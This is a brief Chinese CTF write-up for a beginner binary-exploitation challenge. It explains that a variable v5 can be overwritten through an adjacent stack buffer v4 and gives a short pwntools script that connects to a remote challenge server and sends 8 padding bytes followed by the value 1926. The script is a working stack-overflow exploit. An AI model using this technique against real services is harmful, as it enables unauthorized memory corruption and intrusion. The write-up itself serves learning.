可以看出获取flag需要用到v5的值,首先需要v5不等于1926,进入else这个块之中,然后又需要v5等于1926才能获取flag,就产生了矛盾。
结合程序有两个输入,可以考虑用第二个输入v4来覆盖第一个输入的栈空间,使v5在第二个if判断时变为1926。
可以看到v4和v5的栈空间地址相差8个字节,利用v4的输入将v5覆盖为1926就行。
from pwn import *
p = remote('111.198.29.45',57383)
p.recvuntil("What's Your Birth?")
p.sendline('1234')
p.recvuntil("What's Your Name?")
p.sendline('a'*8 + p64(1926))
p.interactive()